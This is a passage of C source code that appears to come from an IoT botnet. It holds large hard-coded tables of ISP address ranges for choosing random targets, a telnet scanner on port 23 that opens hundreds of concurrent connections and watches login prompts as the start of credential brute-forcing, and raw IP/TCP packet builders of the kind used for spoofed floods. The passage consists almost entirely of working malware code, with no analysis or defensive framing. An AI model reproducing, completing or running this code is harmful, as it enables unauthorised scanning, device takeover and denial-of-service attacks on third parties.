  948. szprintf(ip, "113.163.%d.%d", ipState[2], ipState[3]);
  949. }
  950. if(randnum == 102)
  951. {
  952. szprintf(ip, "113.164.%d.%d", ipState[2], ipState[3]);
  953. }
  954. if(randnum == 103)
  955. {
  956. szprintf(ip, "113.165.%d.%d", ipState[2], ipState[3]);
  957. }
  958. if(randnum == 104)
  959. {
  960. szprintf(ip, "113.166.%d.%d", ipState[2], ipState[3]);
  961. }
  962. if(randnum == 105)
  963. {
  964. szprintf(ip, "113.167.%d.%d", ipState[2], ipState[3]);
  965. }
  966. if(randnum == 106)
  967. {
  968. szprintf(ip, "113.168.%d.%d", ipState[2], ipState[3]);
  969. }
  970. if(randnum == 107)
  971. {
  972. szprintf(ip, "113.169.%d.%d", ipState[2], ipState[3]);
  973. }
  974. if(randnum == 108)
  975. {
  976. szprintf(ip, "123.17.%d.%d", ipState[2], ipState[3]);
  977. }
  978. if(randnum == 109)
  979. {
  980. szprintf(ip, "123.21.%d.%d", ipState[2], ipState[3]);
  981. }
  982. if(randnum == 110)
  983. {
  984. szprintf(ip, "123.22.%d.%d", ipState[2], ipState[3]);
  985. }
  986. if(randnum == 111)
  987. {
  988. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  989. }
  990. if(randnum == 112)
  991. {
  992. szprintf(ip, "222.253.%d.%d", ipState[2], ipState[3]);
  993. }
  994. if(randnum == 113)
  995. {
  996. szprintf(ip, "222.254.%d.%d", ipState[2], ipState[3]);
  997. }
  998. if(randnum == 114)
  999. {
  1000. szprintf(ip, "222.255.%d.%d", ipState[2], ipState[3]);
  1001. }
  1002. if(randnum == 115)
  1003. {
  1004. szprintf(ip, "41.208.%d.%d", ipState[2], ipState[3]);
  1005. }
  1006.  
  1007. if(randnum == 116)
  1008. {
  1009. szprintf(ip, "103.198.%d.%d", ipState[2], ipState[3]);
  1010. }
  1011. if(randnum == 117)
  1012. {
  1013. szprintf(ip, "88.248.%d.%d", ipState[2], ipState[3]);
  1014. }
  1015. if(randnum == 118)
  1016. {
  1017. szprintf(ip, "88.105.%d.%d", ipState[2], ipState[3]);
  1018. }
  1019. if(randnum == 119)
  1020. {
  1021. szprintf(ip, "88.247.%d.%d", ipState[2], ipState[3]);
  1022. }
  1023. if(randnum == 120)
  1024. {
  1025. szprintf(ip, "85.105.%d.%d", ipState[2], ipState[3]);
  1026. }
  1027. if(randnum == 121)
  1028. {
  1029. szprintf(ip, "188.3.%d.%d", ipState[2], ipState[3]);
  1030. }
  1031. if(randnum == 122)
  1032. {
  1033. szprintf(ip, "103.203.%d.%d", ipState[2], ipState[3]);
  1034. }
  1035. if(randnum == 123)
  1036. {
  1037. szprintf(ip, "103.55.%d.%d", ipState[2], ipState[3]);
  1038. }
  1039. if(randnum == 124)
  1040. {
  1041. szprintf(ip, "103.220.%d.%d", ipState[2], ipState[3]);
  1042. }
  1043. if(randnum == 125)
  1044. {
  1045. szprintf(ip, "183.233.%d.%d", ipState[2], ipState[3]);
  1046. }
  1047. if(randnum == 126)
  1048. {
  1049. szprintf(ip, "103.242.%d.%d", ipState[2], ipState[3]);
  1050. }
  1051. if(randnum == 127)
  1052. {
  1053. szprintf(ip, "103.198.%d.%d", ipState[2], ipState[3]);
  1054. }
  1055. if(randnum == 128)
  1056. {
  1057. szprintf(ip, "103.14.%d.%d", ipState[2], ipState[3]);
  1058. }
  1059. if(randnum == 129)
  1060. {
  1061. szprintf(ip, "103.195.%d.%d", ipState[2], ipState[3]);
  1062. }
  1063. if(randnum == 130)
  1064. {
  1065. szprintf(ip, "103.203.%d.%d", ipState[2], ipState[3]);
  1066. }
  1067. if(randnum == 131)
  1068. {
  1069. szprintf(ip, "103.214.%d.%d", ipState[2], ipState[3]);
  1070. }
  1071. if(randnum == 132)
  1072. {
  1073. szprintf(ip, "103.218.%d.%d", ipState[2], ipState[3]);
  1074. }
  1075. if(randnum == 133)
  1076. {
  1077. szprintf(ip, "103.225.%d.%d", ipState[2], ipState[3]);
  1078. }
  1079. if(randnum == 134)
  1080. {
  1081. szprintf(ip, "103.228.%d.%d", ipState[2], ipState[3]);
  1082. }
  1083. if(randnum == 135)
  1084. {
  1085. szprintf(ip, "103.231.%d.%d", ipState[2], ipState[3]);
  1086. }
  1087. if(randnum == 136)
  1088. {
  1089. szprintf(ip, "103.60.%d.%d", ipState[2], ipState[3]);
  1090. }
  1091. if(randnum == 137)
  1092. {
  1093. szprintf(ip, "103.248.%d.%d", ipState[2], ipState[3]);
  1094. }
  1095. if(randnum == 138)
  1096. {
  1097. szprintf(ip, "103.253.%d.%d", ipState[2], ipState[3]);
  1098. }
  1099. if(randnum == 139)
  1100. {
  1101. szprintf(ip, "103.255.%d.%d", ipState[2], ipState[3]);
  1102. }
  1103. if(randnum == 140)
  1104. {
  1105. szprintf(ip, "113.176.%d.%d", ipState[2], ipState[3]);
  1106. }
  1107. if(randnum == 141)
  1108. {
  1109. szprintf(ip, "113.175.%d.%d", ipState[2], ipState[3]);
  1110. }
  1111. if(randnum == 142)
  1112. {
  1113. szprintf(ip, "203.134.%d.%d", ipState[2], ipState[3]);
  1114. }
  1115. if(randnum == 143)
  1116. {
  1117. szprintf(ip, "203.210.%d.%d", ipState[2], ipState[3]);
  1118. }
  1119. if(randnum == 144)
  1120. {
  1121. szprintf(ip, "117.176.%d.%d", ipState[2], ipState[3]);
  1122. }
  1123. if(randnum == 145)
  1124. {
  1125. szprintf(ip, "117.171.%d.%d", ipState[2], ipState[3]);
  1126. }
  1127. if(randnum == 146)
  1128. {
  1129. szprintf(ip, "117.162.%d.%d", ipState[2], ipState[3]);
  1130. }
  1131. if(randnum == 147)
  1132. {
  1133. szprintf(ip, "203.150.%d.%d", ipState[2], ipState[3]);
  1134. }
  1135. if(randnum == 148)
  1136. {
  1137. szprintf(ip, "157.119.%d.%d", ipState[2], ipState[3]);
  1138. }
  1139. if(randnum == 149)
  1140. {
  1141. szprintf(ip, "43.228.%d.%d", ipState[2], ipState[3]);
  1142. }
  1143. if(randnum == 150)
  1144. {
  1145. szprintf(ip, "162.12.%d.%d", ipState[2], ipState[3]);
  1146. }
  1147. if(randnum == 151)
  1148. {
  1149. szprintf(ip, "115.220.%d.%d", ipState[2], ipState[3]);
  1150. }
  1151. if(randnum == 152)
  1152. {
  1153. szprintf(ip, "125.114.%d.%d", ipState[2], ipState[3]);
  1154. }
  1155.  
  1156. return inet_addr(ip);
  1157. }
  1158.  
  1159.  
  1160. in_addr_t PhoneScan()
  1161. {
  1162. ipState[0] = 0;
  1163. ipState[1] = 0;
  1164. ipState[2] = 0;
  1165. ipState[3] = 0;
  1166. ipState[0] = rand() % 255;
  1167. ipState[1] = rand() % 255;
  1168. ipState[2] = rand() % 255;
  1169. ipState[3] = rand() % 255;
  1170. int randnum = rand() % 117;
  1171. char ip[16];
  1172. if(randnum == 0)
  1173. {
  1174. szprintf(ip, "119.157.%d.%d", ipState[2], ipState[3]);
  1175. }
  1176. if(randnum == 1)
  1177. {
  1178. szprintf(ip, "119.150.%d.%d", ipState[2], ipState[3]);
  1179. }
  1180. if(randnum == 2)
  1181. {
  1182. szprintf(ip, "119.151.%d.%d", ipState[2], ipState[3]);
  1183. }
  1184. if(randnum == 3)
  1185. {
  1186. szprintf(ip, "119.152.%d.%d", ipState[2], ipState[3]);
  1187. }
  1188. if(randnum == 4)
  1189. {
  1190. szprintf(ip, "119.153.%d.%d", ipState[2], ipState[3]);
  1191. }
  1192. if(randnum == 5)
  1193. {
  1194. szprintf(ip, "119.154.%d.%d", ipState[2], ipState[3]);
  1195. }
  1196. if(randnum == 6)
  1197. {
  1198. szprintf(ip, "119.155.%d.%d", ipState[2], ipState[3]);
  1199. }
  1200. if(randnum == 7)
  1201. {
  1202. szprintf(ip, "119.156.%d.%d", ipState[2], ipState[3]);
  1203. }
  1204. if(randnum == 8)
  1205. {
  1206. szprintf(ip, "119.157.%d.%d", ipState[2], ipState[3]);
  1207. }
  1208. if(randnum == 9)
  1209. {
  1210. szprintf(ip, "119.158.%d.%d", ipState[2], ipState[3]);
  1211. }
  1212. if(randnum == 10)
  1213. {
  1214. szprintf(ip, "119.159.%d.%d", ipState[2], ipState[3]);
  1215. }
  1216. if(randnum == 11)
  1217. {
  1218. szprintf(ip, "191.24.%d.%d", ipState[2], ipState[3]);
  1219. }
  1220. if(randnum == 12)
  1221. {
  1222. szprintf(ip, "187.119.%d.%d", ipState[2], ipState[3]);
  1223. }
  1224. if(randnum == 13)
  1225. {
  1226. szprintf(ip, "177.215.%d.%d", ipState[2], ipState[3]);
  1227. }
  1228. if(randnum == 14)
  1229. {
  1230. szprintf(ip, "152.241.%d.%d", ipState[2], ipState[3]);
  1231. }
  1232. if(randnum == 15)
  1233. {
  1234. szprintf(ip, "182.185.%d.%d", ipState[2], ipState[3]);
  1235. }
  1236. if(randnum == 16)
  1237. {
  1238. szprintf(ip, "179.80.%d.%d", ipState[2], ipState[3]);
  1239. }
  1240. if(randnum == 17)
  1241. {
  1242. szprintf(ip, "179.81.%d.%d", ipState[2], ipState[3]);
  1243. }
  1244. if(randnum == 18)
  1245. {
  1246. szprintf(ip, "179.82.%d.%d", ipState[2], ipState[3]);
  1247. }
  1248. if(randnum == 19)
  1249. {
  1250. szprintf(ip, "179.83.%d.%d", ipState[2], ipState[3]);
  1251. }
  1252. if(randnum == 20)
  1253. {
  1254. szprintf(ip, "179.84.%d.%d", ipState[2], ipState[3]);
  1255. }
  1256. if(randnum == 21)
  1257. {
  1258. szprintf(ip, "179.86.%d.%d", ipState[2], ipState[3]);
  1259. }
  1260. if(randnum == 22)
  1261. {
  1262. szprintf(ip, "179.87.%d.%d", ipState[2], ipState[3]);
  1263. }
  1264. if(randnum == 23)
  1265. {
  1266. szprintf(ip, "179.88.%d.%d", ipState[2], ipState[3]);
  1267. }
  1268. if(randnum == 24)
  1269. {
  1270. szprintf(ip, "179.89.%d.%d", ipState[2], ipState[3]);
  1271. }
  1272. if(randnum == 25)
  1273. {
  1274. szprintf(ip, "179.90.%d.%d", ipState[2], ipState[3]);
  1275. }
  1276. if(randnum == 26)
  1277. {
  1278. szprintf(ip, "179.91.%d.%d", ipState[2], ipState[3]);
  1279. }
  1280. if(randnum == 27)
  1281. {
  1282. szprintf(ip, "179.92.%d.%d", ipState[2], ipState[3]);
  1283. }
  1284. if(randnum == 28)
  1285. {
  1286. szprintf(ip, "179.93.%d.%d", ipState[2], ipState[3]);
  1287. }
  1288. if(randnum == 29)
  1289. {
  1290. szprintf(ip, "179.94.%d.%d", ipState[2], ipState[3]);
  1291. }
  1292. if(randnum == 30)
  1293. {
  1294. szprintf(ip, "179.95.%d.%d", ipState[2], ipState[3]);
  1295. }
  1296. if(randnum == 31)
  1297. {
  1298. szprintf(ip, "179.96.%d.%d", ipState[2], ipState[3]);
  1299. }
  1300. if(randnum == 32)
  1301. {
  1302. szprintf(ip, "179.97.%d.%d", ipState[2], ipState[3]);
  1303. }
  1304. if(randnum == 33)
  1305. {
  1306. szprintf(ip, "179.98.%d.%d", ipState[2], ipState[3]);
  1307. }
  1308. if(randnum == 34)
  1309. {
  1310. szprintf(ip, "179.99.%d.%d", ipState[2], ipState[3]);
  1311. }
  1312. if(randnum == 35)
  1313. {
  1314. szprintf(ip, "152.240.%d.%d", ipState[2], ipState[3]);
  1315. }
  1316. if(randnum == 36)
  1317. {
  1318. szprintf(ip, "152.241.%d.%d", ipState[2], ipState[3]);
  1319. }
  1320. if(randnum == 37)
  1321. {
  1322. szprintf(ip, "152.242.%d.%d", ipState[2], ipState[3]);
  1323. }
  1324. if(randnum == 38)
  1325. {
  1326. szprintf(ip, "152.243.%d.%d", ipState[2], ipState[3]);
  1327. }
  1328. if(randnum == 39)
  1329. {
  1330. szprintf(ip, "152.244.%d.%d", ipState[2], ipState[3]);
  1331. }
  1332. if(randnum == 40)
  1333. {
  1334. szprintf(ip, "152.245.%d.%d", ipState[2], ipState[3]);
  1335. }
  1336. if(randnum == 41)
  1337. {
  1338. szprintf(ip, "152.246.%d.%d", ipState[2], ipState[3]);
  1339. }
  1340. if(randnum == 42)
  1341. {
  1342. szprintf(ip, "152.247.%d.%d", ipState[2], ipState[3]);
  1343. }
  1344. if(randnum == 43)
  1345. {
  1346. szprintf(ip, "152.248.%d.%d", ipState[2], ipState[3]);
  1347. }
  1348. if(randnum == 44)
  1349. {
  1350. szprintf(ip, "152.249.%d.%d", ipState[2], ipState[3]);
  1351. }
  1352. if(randnum == 45)
  1353. {
  1354. szprintf(ip, "182.189.%d.%d", ipState[2], ipState[3]);
  1355. }
  1356. if(randnum == 46)
  1357. {
  1358. szprintf(ip, "182.190.%d.%d", ipState[2], ipState[3]);
  1359. }
  1360. if(randnum == 47)
  1361. {
  1362. szprintf(ip, "182.191.%d.%d", ipState[2], ipState[3]);
  1363. }
  1364. if(randnum == 48)
  1365. {
  1366. szprintf(ip, "182.188.%d.%d", ipState[2], ipState[3]);
  1367. }
  1368. if(randnum == 49)
  1369. {
  1370. szprintf(ip, "182.187.%d.%d", ipState[2], ipState[3]);
  1371. }
  1372. if(randnum == 50)
  1373. {
  1374. szprintf(ip, "182.186.%d.%d", ipState[2], ipState[3]);
  1375. }
  1376. if(randnum == 51)
  1377. {
  1378. szprintf(ip, "182.185.%d.%d", ipState[2], ipState[3]);
  1379. }
  1380. if(randnum == 52)
  1381. {
  1382. szprintf(ip, "182.184.%d.%d", ipState[2], ipState[3]);
  1383. }
  1384. if(randnum == 53)
  1385. {
  1386. szprintf(ip, "179.100.%d.%d", ipState[2], ipState[3]);
  1387. }
  1388. if(randnum == 54)
  1389. {
  1390. szprintf(ip, "179.101.%d.%d", ipState[2], ipState[3]);
  1391. }
  1392. if(randnum == 55)
  1393. {
  1394. szprintf(ip, "179.102.%d.%d", ipState[2], ipState[3]);
  1395. }
  1396. if(randnum == 56)
  1397. {
  1398. szprintf(ip, "179.103.%d.%d", ipState[2], ipState[3]);
  1399. }
  1400. if(randnum == 57)
  1401. {
  1402. szprintf(ip, "179.110.%d.%d", ipState[2], ipState[3]);
  1403. }
  1404. if(randnum == 58)
  1405. {
  1406. szprintf(ip, "179.111.%d.%d", ipState[2], ipState[3]);
  1407. }
  1408. if(randnum == 59)
  1409. {
  1410. szprintf(ip, "179.112.%d.%d", ipState[2], ipState[3]);
  1411. }
  1412. if(randnum == 60)
  1413. {
  1414. szprintf(ip, "179.113.%d.%d", ipState[2], ipState[3]);
  1415. }
  1416. if(randnum == 61)
  1417. {
  1418. szprintf(ip, "179.114.%d.%d", ipState[2], ipState[3]);
  1419. }
  1420. if(randnum == 62)
  1421. {
  1422. szprintf(ip, "179.115.%d.%d", ipState[2], ipState[3]);
  1423. }
  1424. if(randnum == 63)
  1425. {
  1426. szprintf(ip, "179.116.%d.%d", ipState[2], ipState[3]);
  1427. }
  1428. if(randnum == 64)
  1429. {
  1430. szprintf(ip, "179.117.%d.%d", ipState[2], ipState[3]);
  1431. }
  1432. if(randnum == 65)
  1433. {
  1434. szprintf(ip, "191.193.%d.%d", ipState[2], ipState[3]);
  1435. }
  1436. if(randnum == 66)
  1437. {
  1438. szprintf(ip, "191.194.%d.%d", ipState[2], ipState[3]);
  1439. }
  1440. if(randnum == 67)
  1441. {
  1442. szprintf(ip, "191.195.%d.%d", ipState[2], ipState[3]);
  1443. }
  1444. if(randnum == 68)
  1445. {
  1446. szprintf(ip, "191.196.%d.%d", ipState[2], ipState[3]);
  1447. }
  1448. if(randnum == 69)
  1449. {
  1450. szprintf(ip, "191.197.%d.%d", ipState[2], ipState[3]);
  1451. }
  1452. if(randnum == 70)
  1453. {
  1454. szprintf(ip, "191.198.%d.%d", ipState[2], ipState[3]);
  1455. }
  1456. if(randnum == 71)
  1457. {
  1458. szprintf(ip, "152.250.%d.%d", ipState[2], ipState[3]);
  1459. }
  1460. if(randnum == 72)
  1461. {
  1462. szprintf(ip, "152.251.%d.%d", ipState[2], ipState[3]);
  1463. }
  1464. if(randnum == 73)
  1465. {
  1466. szprintf(ip, "152.252.%d.%d", ipState[2], ipState[3]);
  1467. }
  1468. if(randnum == 74)
  1469. {
  1470. szprintf(ip, "152.253.%d.%d", ipState[2], ipState[3]);
  1471. }
  1472. if(randnum == 75)
  1473. {
  1474. szprintf(ip, "152.254.%d.%d", ipState[2], ipState[3]);
  1475. }
  1476. if(randnum == 76)
  1477. {
  1478. szprintf(ip, "152.255.%d.%d", ipState[2], ipState[3]);
  1479. }
  1480. if(randnum == 77)
  1481. {
  1482. szprintf(ip, "177.112.%d.%d", ipState[2], ipState[3]);
  1483. }
  1484. if(randnum == 78)
  1485. {
  1486. szprintf(ip, "177.113.%d.%d", ipState[2], ipState[3]);
  1487. }
  1488. if(randnum == 79)
  1489. {
  1490. szprintf(ip, "177.114.%d.%d", ipState[2], ipState[3]);
  1491. }
  1492. if(randnum == 80)
  1493. {
  1494. szprintf(ip, "177.115.%d.%d", ipState[2], ipState[3]);
  1495. }
  1496. if(randnum == 81)
  1497. {
  1498. szprintf(ip, "177.116.%d.%d", ipState[2], ipState[3]);
  1499. }
  1500. if(randnum == 82)
  1501. {
  1502. szprintf(ip, "177.117.%d.%d", ipState[2], ipState[3]);
  1503. }
  1504. if(randnum == 83)
  1505. {
  1506. szprintf(ip, "177.118.%d.%d", ipState[2], ipState[3]);
  1507. }
  1508. if(randnum == 84)
  1509. {
  1510. szprintf(ip, "177.119.%d.%d", ipState[2], ipState[3]);
  1511. }
  1512. if(randnum == 85)
  1513. {
  1514. szprintf(ip, "177.120.%d.%d", ipState[2], ipState[3]);
  1515. }
  1516. if(randnum == 86)
  1517. {
  1518. szprintf(ip, "177.121.%d.%d", ipState[2], ipState[3]);
  1519. }
  1520. if(randnum == 87)
  1521. {
  1522. szprintf(ip, "177.138.%d.%d", ipState[2], ipState[3]);
  1523. }
  1524. if(randnum == 88)
  1525. {
  1526. szprintf(ip, "177.139.%d.%d", ipState[2], ipState[3]);
  1527. }
  1528. if(randnum == 89)
  1529. {
  1530. szprintf(ip, "177.144.%d.%d", ipState[2], ipState[3]);
  1531. }
  1532. if(randnum == 90)
  1533. {
  1534. szprintf(ip, "177.145.%d.%d", ipState[2], ipState[3]);
  1535. }
  1536. if(randnum == 91)
  1537. {
  1538. szprintf(ip, "177.146.%d.%d", ipState[2], ipState[3]);
  1539. }
  1540. if(randnum == 92)
  1541. {
  1542. szprintf(ip, "177.147.%d.%d", ipState[2], ipState[3]);
  1543. }
  1544. if(randnum == 93)
  1545. {
  1546. szprintf(ip, "177.160.%d.%d", ipState[2], ipState[3]);
  1547. }
  1548. if(randnum == 94)
  1549. {
  1550. szprintf(ip, "177.161.%d.%d", ipState[2], ipState[3]);
  1551. }
  1552. if(randnum == 95)
  1553. {
  1554. szprintf(ip, "177.162.%d.%d", ipState[2], ipState[3]);
  1555. }
  1556. if(randnum == 96)
  1557. {
  1558. szprintf(ip, "177.163.%d.%d", ipState[2], ipState[3]);
  1559. }
  1560. if(randnum == 97)
  1561. {
  1562. szprintf(ip, "177.168.%d.%d", ipState[2], ipState[3]);
  1563. }
  1564. if(randnum == 98)
  1565. {
  1566. szprintf(ip, "177.169.%d.%d", ipState[2], ipState[3]);
  1567. }
  1568. if(randnum == 99)
  1569. {
  1570. szprintf(ip, "177.170.%d.%d", ipState[2], ipState[3]);
  1571. }
  1572. if(randnum == 100)
  1573. {
  1574. szprintf(ip, "177.171.%d.%d", ipState[2], ipState[3]);
  1575. }
  1576. if(randnum == 101)
  1577. {
  1578. szprintf(ip, "177.172.%d.%d", ipState[2], ipState[3]);
  1579. }
  1580. if(randnum == 102)
  1581. {
  1582. szprintf(ip, "189.96.%d.%d", ipState[2], ipState[3]);
  1583. }
  1584. if(randnum == 103)
  1585. {
  1586. szprintf(ip, "189.97.%d.%d", ipState[2], ipState[3]);
  1587. }
  1588. if(randnum == 104)
  1589. {
  1590. szprintf(ip, "189.98.%d.%d", ipState[2], ipState[3]);
  1591. }
  1592. if(randnum == 105)
  1593. {
  1594. szprintf(ip, "189.99.%d.%d", ipState[2], ipState[3]);
  1595. }
  1596. if(randnum == 106)
  1597. {
  1598. szprintf(ip, "39.34.%d.%d", ipState[2], ipState[3]);
  1599. }
  1600. if(randnum == 107)
  1601. {
  1602. szprintf(ip, "59.103.%d.%d", ipState[2], ipState[3]);
  1603. }
  1604. if(randnum == 108)
  1605. {
  1606. szprintf(ip, "191.12.%d.%d", ipState[2], ipState[3]);
  1607. }
  1608. if(randnum == 109)
  1609. {
  1610. szprintf(ip, "186.117.%d.%d", ipState[2], ipState[3]);
  1611. }
  1612. if(randnum == 110)
  1613. {
  1614. szprintf(ip, "179.131.%d.%d", ipState[2], ipState[3]);
  1615. }
  1616. if(randnum == 111)
  1617. {
  1618. szprintf(ip, "179.129.%d.%d", ipState[2], ipState[3]);
  1619. }
  1620. if(randnum == 112)
  1621. {
  1622. szprintf(ip, "179.170.%d.%d", ipState[2], ipState[3]);
  1623. }
  1624. if(randnum == 113)
  1625. {
  1626. szprintf(ip, "191.206.%d.%d", ipState[2], ipState[3]);
  1627. }
  1628. if(randnum == 114)
  1629. {
  1630. szprintf(ip, "187.118.%d.%d", ipState[2], ipState[3]);
  1631. }
  1632. if(randnum == 115)
  1633. {
  1634. szprintf(ip, "187.116.%d.%d", ipState[2], ipState[3]);
  1635. }
  1636. if(randnum == 116)
  1637. {
  1638. szprintf(ip, "179.224.%d.%d", ipState[2], ipState[3]);
  1639. }
  1640. if(randnum == 117)
  1641. {
  1642. szprintf(ip, "179.166.%d.%d", ipState[2], ipState[3]);
  1643. }
  1644. return inet_addr(ip);
  1645. }
  1646.  
  1647.  
  1648. int rangechoice = 1;
  1649. in_addr_t findARandomIP()
  1650. {
  1651. if(rangechoice < 1 || rangechoice > 2){
  1652. return HackerScan1();
  1653. }else{
  1654. if(rangechoice == 1){
  1655. return HackerScan1();
  1656. }else if(rangechoice == 2){
  1657. return get_random_ip();
  1658. }else{
  1659. return HackerScan1();
  1660. }
  1661. }
  1662. }
  1663.  
  1664. in_addr_t HackerScan(in_addr_t netmask)
  1665. {
  1666. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1667. return tmp ^ ( rand_cmwc() & ~netmask);
  1668. }
  1669. unsigned short csum (unsigned short *buf, int count)
  1670. {
  1671. register uint64_t sum = 0;
  1672. while( count > 1 ) { sum += *buf++; count -= 2; }
  1673. if(count > 0) { sum += *(unsigned char *)buf; }
  1674. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1675. return (uint16_t)(~sum);
  1676. }
  1677. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1678. {
  1679. struct tcp_pseudo
  1680. {
  1681. unsigned long src_addr;
  1682. unsigned long dst_addr;
  1683. unsigned char zero;
  1684. unsigned char proto;
  1685. unsigned short length;
  1686. } pseudohead;
  1687. unsigned short total_len = iph->tot_len;
  1688. pseudohead.src_addr=iph->saddr;
  1689. pseudohead.dst_addr=iph->daddr;
  1690. pseudohead.zero=0;
  1691. pseudohead.proto=IPPROTO_TCP;
  1692. pseudohead.length=htons(sizeof(struct tcphdr));
  1693. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1694. unsigned short *tcp = malloc(totaltcp_len);
  1695. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1696. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1697. unsigned short output = csum(tcp,totaltcp_len);
  1698. free(tcp);
  1699. return output;
  1700. }
  1701. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1702. {
  1703. iph->ihl = 5;
  1704. iph->version = 4;
  1705. iph->tos = 0;
  1706. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1707. iph->id = rand_cmwc();
  1708. iph->frag_off = 0;
  1709. iph->ttl = MAXTTL;
  1710. iph->protocol = protocol;
  1711. iph->check = 0;
  1712. iph->saddr = source;
  1713. iph->daddr = dest;
  1714. }
  1715. int sclose(int fd)
  1716. {
  1717. if(3 > fd) return 1;
  1718. close(fd);
  1719. return 0;
  1720. }
  1721. struct telstate_t
  1722. {
  1723. int fd;
  1724. unsigned int ip;
  1725. unsigned char state;
  1726. unsigned char complete;
  1727. unsigned char usernameInd;
  1728. unsigned char passwordInd;
  1729. unsigned char tempDirInd;
  1730. unsigned int totalTimeout;
  1731. unsigned short bufUsed;
  1732. char *sockbuf;
  1733. };
  1734. const char* get_telstate_host(struct telstate_t* telstate)
  1735. {
  1736. struct in_addr in_addr_ip;
  1737. in_addr_ip.s_addr = telstate->ip;
  1738. return inet_ntoa(in_addr_ip);
  1739. }
  1740. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char **strings)
  1741. {
  1742. int num_bytes, i;
  1743. memset(buffer, 0, buf_size);
  1744. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1745. if(buffer[0] == 0xFF)
  1746. {
  1747. negotiate(fd, buffer, 3);
  1748. }
  1749. if(contains_string(buffer, strings))
  1750. {
  1751. return 1;
  1752. }
  1753. return 0;
  1754. }
  1755. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  1756. {
  1757. fd_set read_set;
  1758. struct timeval tv;
  1759. tv.tv_sec = 0;
  1760. tv.tv_usec = timeout_usec;
  1761. FD_ZERO(&read_set);
  1762. FD_SET(fd, &read_set);
  1763. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1764. return 0;
  1765. return recv(fd, buffer, buf_size, 0);
  1766. }
  1767. int contains_fail(char* buffer)
  1768. {
  1769. return contains_string(buffer, fails);
  1770. }
  1771. int contains_string(char* buffer, char** strings)
  1772. {
  1773. int num_strings = 0, i = 0;
  1774. for(num_strings = 0; strings[++num_strings] != 0; );
  1775. for(i = 0; i < num_strings; i++)
  1776. {
  1777. if(strcasestr(buffer, strings[i]))
  1778. {
  1779. return 1;
  1780. }
  1781. }
  1782. return 0;
  1783. }
  1784. void PhoneScanner() {
  1785. int maxfds = 512, i, res, j, valopt;
  1786. int max = maxfds;
  1787. char buf[128], cur_dir;
  1788. fd_set fdset;
  1789. struct timeval tv;
  1790. socklen_t lon;
  1791. srand(time(NULL) ^ rand_cmwc());
  1792. char line[256];
  1793. char* buffer;
  1794. struct sockaddr_in dest_addr;
  1795. dest_addr.sin_family = AF_INET;
  1796. dest_addr.sin_port = htons(23);
  1797. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1798. buffer = malloc(512 + 1);
  1799. memset(buffer, 0, 512 + 1);
  1800. struct telstate_t fds[max];
  1801. memset(fds, 0, max * (sizeof(int) + 1));
  1802. for(i = 0; i < max; i++) {
  1803. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1804. fds[i].complete = 1;
  1805. fds[i].sockbuf = buffer; }
  1806. while(1) {
  1807. for(i = 0; i < max; i++) {
  1808. if(fds[i].totalTimeout == 0) {
  1809. fds[i].totalTimeout = time(NULL); }
  1810. switch(fds[i].state) {
  1811. case 0: {
  1812. if(fds[i].complete == 1) {
  1813. char *tmp = fds[i].sockbuf;
  1814. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1815. fds[i].sockbuf = tmp;
  1816. fds[i].ip = PhoneScan(); }
  1817. dest_addr.sin_family = AF_INET;
  1818. dest_addr.sin_port = htons(23);
  1819. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1820. dest_addr.sin_addr.s_addr = fds[i].ip;
  1821. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1822. if(fds[i].fd == -1) continue;
  1823. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1824. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1825. sclose(fds[i].fd);
  1826. fds[i].complete = 1; }
  1827. else {
  1828. fds[i].state = 1;
  1829. fds[i].totalTimeout = 0;
  1830. }
  1831. }
  1832. break;
  1833. case 1: {
  1834. FD_ZERO(&fdset);
  1835. FD_SET(fds[i].fd, &fdset);
  1836. tv.tv_sec = 0;
  1837. tv.tv_usec = 10000;
  1838. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1839. if(res == 1) {
  1840. lon = sizeof(int);
  1841. valopt = 0;
  1842. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1843. if(valopt) {
  1844. sclose(fds[i].fd);
  1845. fds[i].state = 0;
  1846. fds[i].complete = 1;
  1847. } else {
  1848. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1849. fds[i].totalTimeout = 0;
  1850. fds[i].bufUsed = 0;
  1851. memset(fds[i].sockbuf, 0, 512);
  1852. fds[i].state = 2;
  1853. } continue; }
  1854. else if(res == -1) {
  1855. sclose(fds[i].fd);
  1856. fds[i].state = 0;
  1857. fds[i].complete = 1;
  1858. continue; }
  1859. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1860. sclose(fds[i].fd);
  1861. fds[i].state = 0;
  1862. fds[i].complete = 1;
  1863. }
  1864. }
  1865. break;
  1866. case 2: {
  1867. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, phone)) {
  1868. if(contains_fail(fds[i].sockbuf)) {
  1869. fds[i].state = 0;
  1870. } else {
  1871. fds[i].state = 3; }
  1872. continue; }
  1873. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1874. fds[i].state = 0;
  1875. fds[i].complete = 1;
  1876. }
  1877. }
  1878. break;
  1879. case 3: {
